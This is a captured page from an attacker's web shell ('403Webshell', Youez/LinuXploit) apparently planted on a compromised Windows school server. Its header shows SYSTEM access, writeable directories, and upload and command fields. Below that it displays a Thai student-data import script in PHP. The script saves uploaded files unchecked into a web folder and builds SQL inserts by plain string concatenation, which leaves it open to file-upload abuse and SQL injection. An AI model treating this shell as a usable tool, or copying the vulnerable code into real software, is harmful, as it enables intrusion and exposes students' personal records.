403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/edu2018/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/edu2018/import//Import_xlsx.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('Asia/Bangkok');
define('EOL',(PHP_SAPI == 'cli') ? PHP_EOL : '<br />');


if(move_uploaded_file($_FILES["filUpload"]["tmp_name"],"filexlsx/".$_FILES["filUpload"]["name"]))
{
	echo "เพิ่มข้อมูลเรียบร้อย<br>";


$urlfile="filexlsx/".$_FILES["filUpload"]["name"];
/** PHPExcel */
require_once 'PHPExcel.php';

/** PHPExcel_IOFactory - Reader */
include 'PHPExcel/IOFactory.php';


$inputFileName = "$urlfile";  
$inputFileType = PHPExcel_IOFactory::identify($inputFileName);  
$objReader = PHPExcel_IOFactory::createReader($inputFileType);  
$objReader->setReadDataOnly(true);  
$objPHPExcel = $objReader->load($inputFileName);  

$objWorksheet = $objPHPExcel->setActiveSheetIndex(0);
$highestRow = $objWorksheet->getHighestRow();
$highestColumn = $objWorksheet->getHighestColumn();

$headingsArray = $objWorksheet->rangeToArray('A1:'.$highestColumn.'1',null, true, true, true);
$headingsArray = $headingsArray[1];

$r = -1;
$namedDataArray = array();
for ($row = 2; $row <= $highestRow; ++$row) {
    $dataRow = $objWorksheet->rangeToArray('A'.$row.':'.$highestColumn.$row,null, true, true, true);
    if ((isset($dataRow[$row]['A'])) && ($dataRow[$row]['A'] > '')) {
        ++$r;
        foreach($headingsArray as $columnKey => $columnHeading) {
            $namedDataArray[$r][$columnHeading] = $dataRow[$row][$columnKey];
        }
    }
}

//echo '<pre>';
//var_dump($namedDataArray);
//echo '</pre><hr />';

//*** Connect to MySQL Database ***//
require '../config.php';

$i = 0;
foreach ($namedDataArray as $result) {
		$i++;
		$strSQL = "";
		$strSQL .= "INSERT INTO student ";
		$strSQL .= "(code,prefix,name,sname,nicname,ad,moo,tambol,ampher,province,zipcode,class,rsroom,status,active) ";
		$strSQL .= "VALUES ";
		$strSQL .= "('".$result["รหัสนักเรียน"]."','".$result["คำนำชื่อ"]."','".$result["ชื่อ"]."','".$result["นามสกุล"]."','".$result["ชื่อเล่น"]."','".$result["บ้านเลขที่"]."','".$result["หมู่ที่"]."','".$result["ตำบล"]."','".$result["อำเภอ"]."','".$result["จังหวัด"]."','".$result["รหัสไปรษณีย์"]."','".$result["ชั้น"]."','".$result["หอพัก"]."','in','yes' )";

		$mysqli->query($strSQL) or die(mysqli_error());
		
		
		echo "Row $i '".$result["รหัสนักเรียน"]."' '".$result["ชื่อ"]."'...<br>";
}
//mysql_close($cn);
echo "<script language=javascript>alert('นำเข้าข้อมูลนักเรียนเรียบร้อย');</script>";
echo "<script>window.parent.location=\"../admin/student.php\"</script>";
} else {

echo "ไม่สามารถเพิ่มข้อมูลได้";
}
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit